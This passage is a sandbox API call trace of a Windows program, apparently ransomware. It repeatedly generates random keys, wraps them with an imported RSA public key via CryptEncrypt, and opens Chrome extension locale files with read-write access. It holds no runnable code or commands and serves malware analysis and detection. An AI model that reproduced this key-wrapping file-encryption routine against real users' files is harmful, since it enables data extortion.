dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285caa4*=0x5c4760) returned 1 [0235.717] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0235.719] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0235.719] CryptGenRandom (in: hProv=0x5c4760, dwLen=0x20, pbBuffer=0x285cbc0 | out: pbBuffer=0x285cbc0) returned 1 [0235.719] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0235.719] CryptAcquireContextW (in: phProv=0x285ca94, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285ca94*=0x5c4e48) returned 1 [0235.722] CryptImportKey (in: hProv=0x5c4e48, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285ca98 | out: phKey=0x285ca98*=0x659be38) returned 1 [0235.722] CryptGetKeyParam (in: hKey=0x659be38, dwParam=0x8, pbData=0x285ca84, pdwDataLen=0x285ca8c, dwFlags=0x0 | out: pbData=0x285ca84*=0x800, pdwDataLen=0x285ca8c*=0x4) returned 1 [0235.722] CryptEncrypt (in: hKey=0x659be38, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x8b40000*, pdwDataLen=0x285cc0c*=0xc8, dwBufLen=0x800 | out: pbData=0x8b40000*, pdwDataLen=0x285cc0c*=0x100) returned 1 [0235.723] GetLastError () returned 0x0 [0235.723] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0235.723] CryptAcquireContextW (in: phProv=0x285ca94, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285ca94*=0x5c4760) returned 1 [0235.725] CryptImportKey (in: hProv=0x5c4760, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285ca98 | out: phKey=0x285ca98*=0x659bdb8) returned 1 [0235.725] CryptGetKeyParam (in: hKey=0x659bdb8, dwParam=0x8, pbData=0x285ca84, pdwDataLen=0x285ca8c, dwFlags=0x0 | out: pbData=0x285ca84*=0x800, pdwDataLen=0x285ca8c*=0x4) returned 1 [0235.725] CryptEncrypt (in: hKey=0x659bdb8, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x8b50000*, pdwDataLen=0x285cc10*=0xc8, dwBufLen=0x800 | out: pbData=0x8b50000*, pdwDataLen=0x285cc10*=0x100) returned 1 [0235.725] GetLastError () returned 0x0 [0235.725] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0235.725] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\ko\\messages.json" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\google\\chrome\\user data\\default\\extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\ko\\messages.json"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0235.726] CryptAcquireContextW (in: phProv=0x285caa4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285caa4*=0x5c4e48) returned 1 [0235.729] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0235.730] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0235.730] CryptGenRandom (in: hProv=0x5c4e48, dwLen=0x10, pbBuffer=0x285cbf4 | out: pbBuffer=0x285cbf4) returned 1 [0235.730] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0235.730] CryptAcquireContextW (in: phProv=0x285caa4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285caa4*=0x5c4760) returned 1 [0235.732] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0235.734] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0235.734] CryptGenRandom (in: hProv=0x5c4760, dwLen=0x20, pbBuffer=0x285cbc0 | out: pbBuffer=0x285cbc0) returned 1 [0235.734] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0235.734] CryptAcquireContextW (in: phProv=0x285ca94, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285ca94*=0x5c4760) returned 1 [0235.736] CryptImportKey (in: hProv=0x5c4760, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285ca98 | out: phKey=0x285ca98*=0x659be78) returned 1 [0235.736] CryptGetKeyParam (in: hKey=0x659be78, dwParam=0x8, pbData=0x285ca84, pdwDataLen=0x285ca8c, dwFlags=0x0 | out: pbData=0x285ca84*=0x800, pdwDataLen=0x285ca8c*=0x4) returned 1 [0235.736] CryptEncrypt (in: hKey=0x659be78, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x8b60000*, pdwDataLen=0x285cc0c*=0xc8, dwBufLen=0x800 | out: pbData=0x8b60000*, pdwDataLen=0x285cc0c*=0x100) returned 1 [0235.737] GetLastError () returned 0x0 [0235.737] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0235.737] CryptAcquireContextW (in: phProv=0x285ca94, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285ca94*=0x5c4760) returned 1 [0235.739] CryptImportKey (in: hProv=0x5c4760, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285ca98 | out: phKey=0x285ca98*=0x659b938) returned 1 [0235.739] CryptGetKeyParam (in: hKey=0x659b938, dwParam=0x8, pbData=0x285ca84, pdwDataLen=0x285ca8c, dwFlags=0x0 | out: pbData=0x285ca84*=0x800, pdwDataLen=0x285ca8c*=0x4) returned 1 [0235.739] CryptEncrypt (in: hKey=0x659b938, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x8b70000*, pdwDataLen=0x285cc10*=0xc8, dwBufLen=0x800 | out: pbData=0x8b70000*, pdwDataLen=0x285cc10*=0x100) returned 1 [0235.739] GetLastError () returned 0x0 [0235.739] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0235.739] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\lt\\messages.json" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\google\\chrome\\user data\\default\\extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\lt\\messages.json"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0235.740] CryptAcquireContextW (in: phProv=0x285caa4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285caa4*=0x5c4760) returned 1 [0235.742] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0235.744] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0235.744] CryptGenRandom (in: hProv=0x5c4760, dwLen=0x10, pbBuffer=0x285cbf4 | out: pbBuffer=0x285cbf4) returned 1 [0235.744] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0235.744] CryptAcquireContextW (in: phProv=0x285caa4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285caa4*=0x5c4760) returned 1 [0235.746] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0235.747] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0235.747] CryptGenRandom (in: hProv=0x5c4760, dwLen=0x20, pbBuffer=0x285cbc0 | out: pbBuffer=0x285cbc0) returned 1 [0235.747] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0235.748] CryptAcquireContextW (in: phProv=0x285ca94, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285ca94*=0x5c4e48) returned 1 [0235.750] CryptImportKey (in: hProv=0x5c4e48, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285ca98 | out: phKey=0x285ca98*=0x659bbb8) returned 1 [0235.750] CryptGetKeyParam (in: hKey=0x659bbb8, dwParam=0x8, pbData=0x285ca84, pdwDataLen=0x285ca8c, dwFlags=0x0 | out: pbData=0x285ca84*=0x800, pdwDataLen=0x285ca8c*=0x4) returned 1 [0235.750] CryptEncrypt (in: hKey=0x659bbb8, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x8b80000*, pdwDataLen=0x285cc0c*=0xc8, dwBufLen=0x800 | out: pbData=0x8b80000*, pdwDataLen=0x285cc0c*=0x100) returned 1 [0235.751] GetLastError () returned 0x0 [0235.751] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0235.751] CryptAcquireContextW (in: phProv=0x285ca94, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285ca94*=0x5c4e48) returned 1 [0235.753] CryptImportKey (in: hProv=0x5c4e48, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285ca98 | out: phKey=0x285ca98*=0x659b8b8) returned 1 [0235.753] CryptGetKeyParam (in: hKey=0x659b8b8, dwParam=0x8, pbData=0x285ca84, pdwDataLen=0x285ca8c, dwFlags=0x0 | out: pbData=0x285ca84*=0x800, pdwDataLen=0x285ca8c*=0x4) returned 1 [0235.753] CryptEncrypt (in: hKey=0x659b8b8, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x8b90000*, pdwDataLen=0x285cc10*=0xc8, dwBufLen=0x800 | out: pbData=0x8b90000*, pdwDataLen=0x285cc10*=0x100) returned 1 [0235.753] GetLastError () returned 0x0 [0235.753] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0235.753] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\lv\\messages.json" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\google\\chrome\\user data\\default\\extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\lv\\messages.json"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0235.754] CryptAcquireContextW (in: phProv=0x285caa4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285caa4*=0x5c4760) returned 1 [0235.757] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0235.758] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0235.758] CryptGenRandom (in: hProv=0x5c4760, dwLen=0x10, pbBuffer=0x285cbf4 | out: pbBuffer=0x285cbf4) returned 1 [0235.758] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0235.759] CryptAcquireContextW (in: phProv=0x285caa4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285caa4*=0x5c4760) returned 1 [0235.761] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0235.762] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0235.762] CryptGenRandom (in: hProv=0x5c4760, dwLen=0x20, pbBuffer=0x285cbc0 | out: pbBuffer=0x285cbc0) returned 1 [0235.762] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0235.762] CryptAcquireContextW (in: phProv=0x285ca94, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285ca94*=0x5c4760) returned 1 [0235.765] CryptImportKey (in: hProv=0x5c4760, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285ca98 | out: phKey=0x285ca98*=0x659bb38) returned 1 [0235.765] CryptGetKeyParam (in: hKey=0x659bb38, dwParam=0x8, pbData=0x285ca84, pdwDataLen=0x285ca8c, dwFlags=0x0 | out: pbData=0x285ca84*=0x800, pdwDataLen=0x285ca8c*=0x4) returned 1 [0235.765] CryptEncrypt (in: hKey=0x659bb38, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x8ba0000*, pdwDataLen=0x285cc0c*=0xc8, dwBufLen=0x800 | out: pbData=0x8ba0000*, pdwDataLen=0x285cc0c*=0x100) returned 1 [0235.765] GetLastError () returned 0x0 [0235.765] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0235.765] CryptAcquireContextW (in: phProv=0x285ca94, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285ca94*=0x5c4760) returned 1 [0235.767] CryptImportKey (in: hProv=0x5c4760, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285ca98 | out: phKey=0x285ca98*=0x659bb78) returned 1 [0235.767] CryptGetKeyParam (in: hKey=0x659bb78, dwParam=0x8, pbData=0x285ca84, pdwDataLen=0x285ca8c, dwFlags=0x0 | out: pbData=0x285ca84*=0x800, pdwDataLen=0x285ca8c*=0x4) returned 1 [0235.767] CryptEncrypt (in: hKey=0x659bb78, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x8bb0000*, pdwDataLen=0x285cc10*=0xc8, dwBufLen=0x800 | out: pbData=0x8bb0000*, pdwDataLen=0x285cc10*=0x100) returned 1 [0235.767] GetLastError () returned 0x0 [0235.767] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0235.767] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\ms\\messages.json" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\google\\chrome\\user data\\default\\extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\ms\\messages.json"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0235.768] CryptAcquireContextW (in: phProv=0x285caa4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285caa4*=0x5c4760) returned 1 [0235.770] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0235.772] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0235.785] CryptGenRandom (in: hProv=0x5c4760, dwLen=0x10, pbBuffer=0x285cbf4 | out: pbBuffer=0x285cbf4) returned 1 [0235.785] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0235.785] CryptAcquireContextW (in: phProv=0x285caa4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285caa4*=0x5c4e48) returned 1 [0235.788] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0235.790] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0235.790] CryptGenRandom (in: hProv=0x5c4e48, dwLen=0x20, pbBuffer=0x285cbc0 | out: pbBuffer=0x285cbc0) returned 1 [0235.790] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0235.790] CryptAcquireContextW (in: phProv=0x285ca94, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285ca94*=0x5c4e48) returned 1 [0235.793] CryptImportKey (in: hProv=0x5c4e48, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285ca98 | out: phKey=0x285ca98*=0x659bf38) returned 1 [0235.793] CryptGetKeyParam (in: hKey=0x659bf38, dwParam=0x8, pbData=0x285ca84, pdwDataLen=0x285ca8c, dwFlags=0x0 | out: pbData=0x285ca84*=0x800, pdwDataLen=0x285ca8c*=0x4) returned 1 [0235.793] CryptEncrypt (in: hKey=0x659bf38, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x8bc0000*, pdwDataLen=0x285cc0c*=0xc8, dwBufLen=0x800 | out: pbData=0x8bc0000*, pdwDataLen=0x285cc0c*=0x100) returned 1 [0235.793] GetLastError () returned 0x0 [0235.793] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0235.793] CryptAcquireContextW (in: phProv=0x285ca94, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285ca94*=0x5c4e48) returned 1 [0235.795] CryptImportKey (in: hProv=0x5c4e48, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285ca98 | out: phKey=0x285ca98*=0x659bc38) returned 1 [0235.795] CryptGetKeyParam (in: hKey=0x659bc38, dwParam=0x8, pbData=0x285ca84, pdwDataLen=0x285ca8c, dwFlags=0x0 | out: pbData=0x285ca84*=0x800, pdwDataLen=0x285ca8c*=0x4) returned 1 [0235.795] CryptEncrypt (in: hKey=0x659bc38, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x8bd0000*, pdwDataLen=0x285cc10*=0xc8, dwBufLen=0x800 | out: pbData=0x8bd0000*, pdwDataLen=0x285cc10*=0x100) returned 1 [0235.795] GetLastError () returned 0x0 [0235.795] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0235.795] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\nl\\messages.json" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\google\\chrome\\user data\\default\\extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\nl\\messages.json"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0235.796] CryptAcquireContextW (in: phProv=0x285caa4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285caa4*=0x5c4760) returned 1 [0235.798] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0235.800] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0235.800] CryptGenRandom (in: hProv=0x5c4760, dwLen=0x10, pbBuffer=0x285cbf4 | out: pbBuffer=0x285cbf4) returned 1 [0235.800] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0235.800] CryptAcquireContextW (in: phProv=0x285caa4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285caa4*=0x5c4760) returned 1 [0235.802] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0235.804] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0235.804] CryptGenRandom (in: hProv=0x5c4760, dwLen=0x20, pbBuffer=0x285cbc0 | out: pbBuffer=0x285cbc0) returned 1 [0235.804] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0235.804] CryptAcquireContextW (in: phProv=0x285ca94, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285ca94*=0x5c4e48) returned 1 [0235.807] CryptImportKey (in: hProv=0x5c4e48, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285ca98 | out: phKey=0x285ca98*=0x659c1b8) returned 1 [0235.807] CryptGetKeyParam (in: hKey=0x659c1b8, dwParam=0x8, pbData=0x285ca84, pdwDataLen=0x285ca8c, dwFlags=0x0 | out: pbData=0x285ca84*=0x800, pdwDataLen=0x285ca8c*=0x4) returned 1 [0235.807] CryptEncrypt (in: hKey=0x659c1b8, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x8be0000*, pdwDataLen=0x285cc0c*=0xc8, dwBufLen=0x800 | out: pbData=0x8be0000*, pdwDataLen=0x285cc0c*=0x100) returned 1 [0235.807] GetLastError () returned 0x0 [0235.807] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0235.807] CryptAcquireContextW (in: phProv=0x285ca94, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285ca94*=0x5c4760) returned 1 [0235.809] CryptImportKey (in: hProv=0x5c4760, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285ca98 | out: phKey=0x285ca98*=0x659c1f8) returned 1 [0235.809] CryptGetKeyParam (in: hKey=0x659c1f8, dwParam=0x8, pbData=0x285ca84, pdwDataLen=0x285ca8c, dwFlags=0x0 | out: pbData=0x285ca84*=0x800, pdwDataLen=0x285ca8c*=0x4) returned 1 [0235.809] CryptEncrypt (in: hKey=0x659c1f8, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x8bf0000*, pdwDataLen=0x285cc10*=0xc8, dwBufLen=0x800 | out: pbData=0x8bf0000*, pdwDataLen=0x285cc10*=0x100) returned 1 [0235.810] GetLastError () returned 0x0 [0235.810] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0235.810] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\no\\messages.json" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\google\\chrome\\user data\\default\\extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\no\\messages.json"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0235.810] CryptAcquireContextW (in: phProv=0x285caa4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285caa4*=0x5c4e48) returned 1 [0235.813] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0235.814] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0235.814] CryptGenRandom (in: hProv=0x5c4e48, dwLen=0x10, pbBuffer=0x285cbf4 | out: pbBuffer=0x285cbf4) returned 1 [0235.814] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0235.814] CryptAcquireContextW (in: phProv=0x285caa4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285caa4*=0x5c4e48) returned 1 [0235.816] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0235.818] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0235.819] CryptGenRandom (in: hProv=0x5c4e48, dwLen=0x20, pbBuffer=0x285cbc0 | out: pbBuffer=0x285cbc0) returned 1 [0235.819] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0235.819] CryptAcquireContextW (in: phProv=0x285ca94, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285ca94*=0x5c4760) returned 1 [0235.821] CryptImportKey (in: hProv=0x5c4760, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285ca98 | out: phKey=0x285ca98*=0x659c7b8) returned 1 [0235.821] CryptGetKeyParam (in: hKey=0x659c7b8, dwParam=0x8, pbData=0x285ca84, pdwDataLen=0x285ca8c, dwFlags=0x0 | out: pbData=0x285ca84*=0x800, pdwDataLen=0x285ca8c*=0x4) returned 1 [0235.821] CryptEncrypt (in: hKey=0x659c7b8, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x8c00000*, pdwDataLen=0x285cc0c*=0xc8, dwBufLen=0x800 | out: pbData=0x8c00000*, pdwDataLen=0x285cc0c*=0x100) returned 1 [0235.822] GetLastError () returned 0x0 [0235.822] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0235.822] CryptAcquireContextW (in: phProv=0x285ca94, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285ca94*=0x5c4760) returned 1 [0235.824] CryptImportKey (in: hProv=0x5c4760, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285ca98 | out: phKey=0x285ca98*=0x659c378) returned 1 [0235.824] CryptGetKeyParam (in: hKey=0x659c378, dwParam=0x8, pbData=0x285ca84, pdwDataLen=0x285ca8c, dwFlags=0x0 | out: pbData=0x285ca84*=0x800, pdwDataLen=0x285ca8c*=0x4) returned 1 [0235.824] CryptEncrypt (in: hKey=0x659c378, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x8c10000*, pdwDataLen=0x285cc10*=0xc8, dwBufLen=0x800 | out: pbData=0x8c10000*, pdwDataLen=0x285cc10*=0x100) returned 1 [0235.824] GetLastError () returned 0x0 [0235.824] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0235.824] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\pl\\messages.json" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\google\\chrome\\user data\\default\\extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\pl\\messages.json"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0235.825] CryptAcquireContextW (in: phProv=0x285caa4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285caa4*=0x5c4e48) returned 1 [0235.827] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0235.829] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0235.829] CryptGenRandom (in: hProv=0x5c4e48, dwLen=0x10, pbBuffer=0x285cbf4 | out: pbBuffer=0x285cbf4) returned 1 [0235.829] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0235.829] CryptAcquireContextW (in: phProv=0x285caa4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285caa4*=0x5c4760) returned 1 [0235.831] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0235.832] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0235.832] CryptGenRandom (in: hProv=0x5c4760, dwLen=0x20, pbBuffer=0x285cbc0 | out: pbBuffer=0x285cbc0) returned 1 [0235.832] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0235.832] CryptAcquireContextW (in: phProv=0x285ca94, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285ca94*=0x5c4760) returned 1 [0235.835] 